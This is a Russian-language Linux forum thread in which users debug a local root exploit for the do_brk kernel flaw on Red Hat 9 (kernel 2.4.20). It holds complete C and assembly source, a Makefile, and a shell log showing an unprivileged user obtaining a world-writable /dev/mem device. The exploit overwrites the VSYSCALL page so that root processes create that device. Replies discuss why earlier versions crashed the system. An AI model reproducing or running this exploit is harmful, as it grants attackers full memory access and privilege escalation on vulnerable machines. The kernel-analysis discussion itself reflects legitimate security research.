LINUX.ORG.RU

RH9.0 и do_brk :)


1

1

Имеется одна программа для RH9.0.

Делает /tmp/devmem с правами доступа 0777 (block 0101 == /dev/mem).

Проблема в том, что при этом она уходит в reboot (/tmp/devmem после перезагрузки остается, но суть не в этом). Вопрос собственно почему уходим в reboot?

P.S. Если вдруг кто запускать будет: учтите, что нужен 1 Гиг свободной виртуальной памяти или же overcommit_memory=1, иначе кина не будет (скорее всего это требование обязательно для того, чтобы не покрэшить ядро, а суметь получить что-то более полезное -- из-за того, что ядро проецирует ОЗУ на kvm через PSE страницы и само же не понимает их).

Вот собственно программа и Makefile:

#define __KERNEL__
#include <asm/pgtable.h>
#include <asm/errno.h>

extern int errno;

char mystack[4096];

char tmpmemstr[] = "/tmp/devmem";

asm ("  .align 4096
        .globl expcode
    expcode:

        pushal

        movl    $0, %ebx
        movl    $60, %eax
        int     $0x80

        movl    $0xfffff000, %ebx

    copy:
        subl    $4, %ebx
        pushl   (%ebx)
        cmpl    $0xffffef00, %ebx
        jne     copy

        movl    %esp, %ebx
        movl    $020777, %ecx
        movl    $0x0101, %edx
        movl    $14, %eax
        int     $0x80

        addl    $0x100, %esp
        popal

exit:
        int     $0x80
        ret
        .globl expcode_end
        expcode_end:
");

extern unsigned char expcode, expcode_end;

void do_main (long esp) {
    unsigned char *trampoline;
    unsigned char volatile dummy;
    unsigned int i;

    trampoline = __fix_to_virt (FIX_VSYSCALL);
    if (trampoline != 0xffffe000) {
        printf ("weird... but you still can try patching the asm code accordingly ;)\n");
        exit (0);
    }

    munmap (esp & ~(4096 - 1), 0xc0000000 - (esp & ~(4096 - 1)));
    brk (0xfffff000);

    printf ("probing write @ %p\n", trampoline); sleep (1);
    *trampoline = 0xcd;
    *(trampoline+1) = 0x80;
    *(trampoline+2) = 0xc3;
    *(long*)(trampoline+3) = 0;

    printf ("probing read @ %p\n", trampoline); sleep (1);
    dummy = *trampoline;

    printf ("copying string %p->%p\n", tmpmemstr, trampoline+0xf00); sleep (1);

    for (i=0; tmpmemstr[i]; i++) {
        trampoline[0xf00+i] = tmpmemstr[i];
        printf ("%x\n", i);
    }
    trampoline[0xf00+i] = 0;

    printf ("copying hook ->%p\n", trampoline); sleep (1);
    for (i=(unsigned int)&expcode; i<(&expcode_end+1); i++) {
        trampoline[i-(unsigned int)&expcode] = *(unsigned char *)i;
    }

    printf ("done\n"); sleep (1);
    do {
        access (tmpmemstr, 3);
    } while (errno == ENOENT);

    *(unsigned int *)trampoline = 0x00c380cd;
    *((unsigned int *)trampoline+1) = 0x00000000;

    if (errno != 0)
        perror ("bad luck");
    else
        printf ("everything seems fine...\n");

    for (;;) pause (); // Don't burn the CPU :)
}

int main () {
    register long esp asm ("esp");
    register long oldesp = esp;

    esp = mystack+4096;
    do_main(oldesp);

    return 0;
}


all:
        gcc -static -g -I/lib/modules/`uname -r`/build/include -Wl,-Tdata,0xbfff0000 exp.c -o exp

★★

>скорее всего это требование обязательно для того
В том смысле, что если у нас VMA будет меньше проекции zone normal, то все чего мы сможем добиться - это покрэшить ядро (из-за PSEшных PTE).

Murr ★★
() автор топика
Ответ на: комментарий от sS

asm/fixmap.h (в vanilla нет такого символа - есть в RH9.0 и 2.5/2.6).
Равен должен быть 1 :)
Соответственно на одну страничку от конца адресного пр-ва (0xfffffe00) должна быть страничка, которая является "проходной" в ядро.

P.S. Даже не знаю куда смотреть. Вроде asm работает корректно :( Отчего там все успевать упасть? :(

Murr ★★
() автор топика
Ответ на: комментарий от Murr

Долго разбирался... и наконец когда поставил int 0x80 из конца вначало всё заработало (видимо, прикол стоит поискать в glibc). Вот код (на запуск shell забил, т.к. остальное неспортивно ;)):

[root@censored root]# cat exp.c
#define __KERNEL__
#include <asm/pgtable.h>
#include <errno.h>

char mystack[4096];

char tmpmemstr[] = "/tmp/devmem";

asm ("  .align 4096
        .globl expcode
    expcode:
        int     $0x80

        pushal

        movl    $0, %ebx
        movl    $60, %eax
        int     $0x80

        movl    $0xfffff000, %ebx

    copy:
        subl    $4, %ebx
        pushl   (%ebx)
        cmpl    $0xffffef00, %ebx
        jne     copy

        movl    %esp, %ebx
        movl    $020777, %ecx
        movl    $0x0101, %edx
        movl    $14, %eax
        int     $0x80

        addl    $0x100, %esp
        popal

        ret
        .long   0
        .globl expcode_end
        expcode_end:
");

extern unsigned char expcode, expcode_end;

void do_main (long esp) {
    unsigned char *trampoline;
    unsigned int i;
    int fd;

    /* AP:      Now we get the pointer to VSYSCALL page - a door to kernel      */
    trampoline = (unsigned char *)__fix_to_virt (FIX_VSYSCALL);
    if (trampoline != (unsigned char *)0xffffe000) {
        printf ("weird... but you still can try patching the asm code accordingly ;)\n");
        exit (0);
    }

    /* AP:      Create VMA stretched through kernel to VSYSCALL page,
                For it to be able to extend - need to unmap the stack ...       */
    munmap (esp & ~4095, 0xc0000000 - (esp & ~4095));
    if (brk (0xfffff000)) {
        printf ("Your configuration is not exploitable. Perhaps there's no free 1 GB of VM and overcommit_memory is not set.\n");
        exit (-1);
    }

    printf ("probing write @ %p\n", trampoline); sleep (1);
    /* AP:      The main idea is implemented in the following line...
                Accessing the kernel-space will lead to page fault.
                The kernel checks that the address belongs to VMA
                and makes a stupid PTE update with R/W access.  */
    *((unsigned long *)trampoline) = 0x00c380cd;

    /* AP:      Perform filename copying to somewhere in the end of VSYSCALL page       */
    printf ("copying string %p->%p\n", tmpmemstr, trampoline+0xf00); sleep (1);
    memcpy (trampoline + 0xf00, tmpmemstr, strlen(tmpmemstr) + 1);

    /* AP:      Modifying the code of VSYSCALL... we've got a small race here...
                Let's hope for the better...    */
    printf ("copying hook %p->%p (%d)\n", &expcode, trampoline, &expcode_end - &expcode + 1); sleep (1);
    memcpy (trampoline, &expcode, &expcode_end - &expcode + 1); // AP: TODO: Copy in reverse order to ensure atomicity ...

    printf ("done\n"); sleep (1);
    /* AP:      Now wait until some process with uid=0 performs a system call and makes /dev/mem clone
                for us  */
    do {
        access (tmpmemstr, 6);
    } while (errno == ENOENT);

    /* AP:      It's the time to restore the trampoline code now ...    */
    *(unsigned int *)trampoline = 0x00c380cd;
    *((unsigned int *)trampoline+1) = 0x00000000;

    if (errno != 0)
        perror ("bad luck");
    else
        printf ("everything seems fine...\n");

    /* AP:      Unfortunally, we cannot exit ... just because that would cause zap_page_range
                on the kernel-space     */
    for (;;) pause (); // Don't burn the CPU :)
}

int main () {
    register unsigned long esp asm ("esp");
    register unsigned long oldesp = esp;

    /*  AP:     Switch to new stack     */
    esp = (unsigned long)mystack+4096;
    do_main(oldesp);

    return 0;
}

[root@censored root]# cat Makefile
all:
        gcc -static -g -I/lib/modules/`uname -r`/build/include exp.c -Wl,-Tdata,bfff0000 -o exp

-bash-2.05b$ rm /tmp/devmem
-bash-2.05b$ id
uid=507(andrew) gid=100(users) groups=100(users),4(adm)
-bash-2.05b$ ./exp3
probing write @ 0xffffe000
copying string 0xbfff1000->0xffffef00
copying hook 0xbfff2000->0xffffe000 (65)
done

[5]+  Stopped                 ./exp3
-bash-2.05b$ ls -sal /tmp/devmem
   0 crwxrwxrwx    1 root     root       1,   1 Dec  6 21:23 /tmp/devmem
-bash-2.05b$

Murr ★★
() автор топика

Все же интересно, чего она перегружалась-то?
Еще интереснее, почему перенос int 80 перед umask()/mknod() это
исправляет.

У меня 2.20 только, поэтому сам попробовать не могу (да и не стал бы :)

Что за ядро? Судя по brk взлому, 2.4 с sysenter бэкпортом.
Какой код там в vsyscall page?

Что успевает написать exploit, чего пишет kernel?

Пожно попробовать загрузиться с init=/bin/sh.
Пустить exploit без &, живет? Если он сам падает после успешного
вызова brk(), то крах понятен. Потом попробовать с &.
Если крах, /tmp/devmem _точно_ создается? (-o remount,rw /tmp)

Если не лениво, конечно :)

> нужен 1 Гиг свободной виртуальной памяти или же overcommit_memory=1
> для того, чтобы не покрэшить ядро, а суметь получить что-то более полезное

Не понял. Не должно быть краха системы. Должна поломаться (SIGSEGV) сама программа
при записи в trampoline, т.к. brk(0xfffff000) не пройдет из-за vm_enough_memory(),
мы ведь просим (учитывая -Wl,-Tdata,0xbfff0000) чуть больше 1Г памяти.
Или действительно крэш происходит?

> из-за того, что ядро проецирует ОЗУ на kvm через PSE страницы и само же не понимает их
> В том смысле, что если у нас VMA будет меньше проекции zone normal, то все
> чего мы сможем добиться - это покрэшить ядро (из-за PSEшных PTE).

Это чего-то совсем непонятно. _PAGE_PSE только между PAGE_OFFSET и high_memory,
программа там ничего не трогает. От __end_of_fixed_addresses до FIX_HOLE 4k страницы.

idle ★★★★★
()
Ответ на: комментарий от idle

Re:

idle:
>Все же интересно, чего она перегружалась-то?
>Еще интереснее, почему перенос int 80 перед umask()/mknod() это
>исправляет.
>
>У меня 2.20 только, поэтому сам попробовать не могу (да и не стал бы :)
>
>Что за ядро? Судя по brk взлому, 2.4 с sysenter бэкпортом.
>Какой код там в vsyscall page?

Ядро стандартное из RH9.0 (без патчей) - 2.4.20-8.
Код в VSYSCALL:
0xcd 0x80 0xc3 ("int $80; ret")

>Что успевает написать exploit, чего пишет kernel?
"copying hook" и на memset падает.
Далее, как я понял, все процессы, делающие syscall, падают в segfault.
Ядро пишет "bad pmd" (видимо из-за того, что падает мой код), также на консоль валится ''INIT: PANIC: Segmentation fault at 0xffffe00x, sleeping 30 seconds" в цикле.

>Пожно попробовать загрузиться с init=/bin/sh.
>Пустить exploit без &, живет? Если он сам падает после успешного
>вызова brk(), то крах понятен. Потом попробовать с &.
>Если крах, /tmp/devmem _точно_ создается? (-o remount,rw /tmp)
>Если не лениво, конечно :)

В принципе можно, хотя вряд ли что-то изменится, IMHO.
devmem точно создается каждый раз чистенько...


>Не понял. Не должно быть краха системы. Должна поломаться
>(SIGSEGV) сама программа при записи в trampoline, т.к. brk(0xfffff000) не
>пройдет из-за vm_enough_memory(),мы ведь просим (учитывая
>-Wl,-Tdata,0xbfff0000) чуть больше 1Г памяти.Или действительно крэш >
происходит?

Я немного не это имел в виду... Если таким способом создать VMA, недотягивающую до VSYSCALL, то мне казалось, что это просто не имеет смысла, поэтому все что мы сможем сделать - это просто покрэшить ядро с такой VMA. Прочитав оригинальный pdf Старзетса я понял, что когда делал grep vmalloc на ядро - пропустил kernel/arch, где так выделяются страницы под LDT (кстати, там прогон о том, что память выделенная kmalloc тоже доступна через обычные таблицы страниц - это верно только для отображенных в highmem... кстати, именно поэтому, как я понимаю, и эксплуатируется именно vmalloc) - я в свое время нашел что так память выделяется под файловые дескрипторы и модули, но проэксплуатировать это нетривиально.

Так что в итоге я был неправ. Проэксплуатировать можно, если свободной виртуальной памяти хватает, чтобы покрыть ZONE_NORMAL до VMALLOC_START, т.е. свободной виртуальной памяти как минимум столько же сколько всего ОЗУ.

>Это чего-то совсем непонятно. _PAGE_PSE только между
>PAGE_OFFSET и high_memory, программа там ничего не трогает. От
>__end_of_fixed_addresses до FIX_HOLE 4k страницы.
Это так, но я не предполагал, что можно эффективно проэкслуатировать vmalloc. :)

Murr ★★
() автор топика
Ответ на: Re: от Murr

Re:

Блин!!!
Я похоже допер почему мы крэшились при другом порядке... Я осел...
Ведь внутри системных вызовов уже сидела куча процессов, а возвращались они из ядра через VSYSCALL, а там по смещению 0xffffe002 - не ret, а вообще хрень какая-то была (середина соответствующей инструкции).

Кстати, в этом свете последний код очень неплохо выглядит, т.к. таких ситуаций в нем не возникает :)

Murr ★★
() автор топика
Ответ на: Re: от Murr

Re:

Жаль, что vanilla ядро нельзя универсальным образом через fixmap проэксплуатировать... через LDT+mprotect не сильно наглядно получается (как впрочем было бы и через ptrace, от которого Старзетс отказался).

Murr ★★
() автор топика
Ответ на: Re: от Murr

> "copying hook" и на memset падает.

Вряд ли падает на memset, скорее, при последующем вызове
printf("done\n")->sys_write(), который теперь идет через этот же trampoline.
Но почему, не понятно. Проблемы с icache?

> Далее, как я понял, все процессы, делающие syscall, падают в segfault.
> Ядро пишет "bad pmd" (видимо из-за того, что падает мой код)

Естесственно, vsyscall page теперь выброшена из init_mm когда exit
делал zap_pte_range() для нашего процесса

> INIT: PANIC: Segmentation fault at 0xffffe00x, sleeping 30 seconds" в цикле.

Это не кернел! Это /sbin/init и пишет! То есть, таки нет перезагрузки?

> >Не понял. Не должно быть краха системы. Должна поломаться
> >(SIGSEGV) сама программа при записи в trampoline, т.к. brk(0xfffff000) не
> >пройдет из-за vm_enough_memory(),мы ведь просим (учитывая

> Если таким способом создать VMA, недотягивающую до VSYSCALL

Оно _всегда_ дотянется до до VSYSCALL после успешного brk(fix_to_virt(FIX_VSYSCALL)).
Независимо от количества свободной памяти. Но sys_brk() проверяет vm_enough_memory()
и без overcommit_memory=1 ее должно быть много - мы просим чуть больше гига.

А эксплойт пишется не в vmalloc, это fixmap area.

> Прочитав оригинальный pdf Старзетса

А это чего такое? ссылочку, plz?

> Я похоже допер почему мы крэшились при другом порядке...
> Ведь внутри системных вызовов уже сидела куча процессов
> а возвращались они из ядра через VSYSCALL а там по смещению
> 0xffffe002 - не ret, а вообще хрень какая-то

Похоже... Но reboot-то (если он был) почему????

Потом. До эксплойта там должен бы быть код для sysenter,
а тогда у нас опять-таки будет мусор на месте SYSENTER_RETURN.
Однако:

> > >Какой код там в vsyscall page?
> Код в VSYSCALL:
> 0xcd 0x80 0xc3 ("int $80; ret")

Странно...

idle ★★★★★
()
Ответ на: комментарий от idle

Re:

idle:

>Странно...

Ну так это ж 2.4.20, а не 2.5/2.6 все же. Нет там пока sysenter и DSO патчей не наложено.

>Похоже... Но reboot-то (если он был) почему????
>
>Потом. До эксплойта там должен бы быть код для sysenter,
>а тогда у нас опять-таки будет мусор на месте SYSENTER_RETURN.
>Однако:

В RH9 нет sysenter кода.


>А это чего такое? ссылочку, plz?

http://isec.pl/papers/linux_kernel_do_brk.pdf

>Оно _всегда_ дотянется до до VSYSCALL после успешного brk(fix_to_virt(FIX_VSYSCALL)). Независимо от количества свободной памяти. Но sys_brk() проверяет vm_enough_memory() и без overcommit_memory=1 ее должно быть много - мы просим чуть больше гига.

Ну так исходное то какое утверждение: если есть 1 Гб, то можно сделать brk до упора, если же brk нет, то можно сделать brk не до упора и покрэшить ядро.

>А эксплойт пишется не в vmalloc, это fixmap area.

Ну я догадываюсь :) Без этого провести анализ и написать даже наполовину работающий exploit было бы тяжеловато.

>Это не кернел! Это /sbin/init и пишет! То есть, таки нет перезагрузки?

Если в предпоследнем коде поменять положение int $0x80, то перегрузок не будет, а в исходном - будет. Впрочем, это уже неважно.

Murr ★★
() автор топика
Ответ на: Re: от Murr

Re:

Блин. Читаю свои сообщения и сам ужасаюсь тому, что хрен поймешь что написано. Попытаюсь упорядочить в хронологическом порядке:

1) появилось сообщение о переполнении в do_brk
2) полез в google искать описание и нифига не нашел
3) полез в исходники - убедился, что действительно можно растянуть brk VMA на всё ядро (на столько - на сколько позволяет vm_enough_memory).
4) стал смотреть на ядро... самое интуитивно очевидное - это модификация ядреной памяти. с zone_normal - сразу отвалились, т.к. весь код Linux подразумевает обращение к userspace через функции вроде follow_page (прогулка по трехуровневым таблицам страниц), что моментально вызывает крэш на PSE страничках. Остались vmalloc и страницы в highmem.
5) highmem сразу отваливается, т.к. на моей конфигурации его не в принципе.
6) стал ковырять vmalloc - прогреппил ядро на vmalloc - нашел в основном в fs descriptors (хреново эксплуатируется, IMHO, тем более, что изначальный rlimit на число fd - 1024, что точненько влезает в одну страницу, которая выделяется kmalloc, а не vmalloc), и в коде выделения памяти под модули (но тут тоже непонятно что эксплуатировать). Как оказалось - забыл прогреппить arch на предмет vmalloc (только fs/mm/kernel/includes) - а Старсетз не забыл и получил методу...
7) я стал ковырять дальше... вспомнил о fixmap в 2.5/2.6. В RH оказалась похожая методика входа в ядро через __kernel_syscall, поэтому я решил расковырять VSYSCALL страницу.
8) получился почти рабочий код :) который только имел свойство перегружаться (см. первое сообщение в этой теме), но device inode успешно создавал, поэтому я продолжил ковырять VSYSCALL.
9) после code cleaning машина перестала перегружаться, но всё падало... оставался только init, который зацикливался в отработке segfault
10) случайно мне стукнуло в голову поменять порядок хука и системного вызова и все стало работать, хотя я так и не понял почему... подумал, что это было связано с кривой идентификацией VSYSCALL/__kernel_syscall.
11) когда писал суда - понял, что после исходного изменения кода в VSYSCALL я порчу всем процессам выход из ядра... так что в целом все более-менее понятно.

Murr ★★
() автор топика
Ответ на: Re: от Murr

Re:

s/__kernel_syscall/__kernel_vsyscall/g

Murr ★★
() автор топика
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.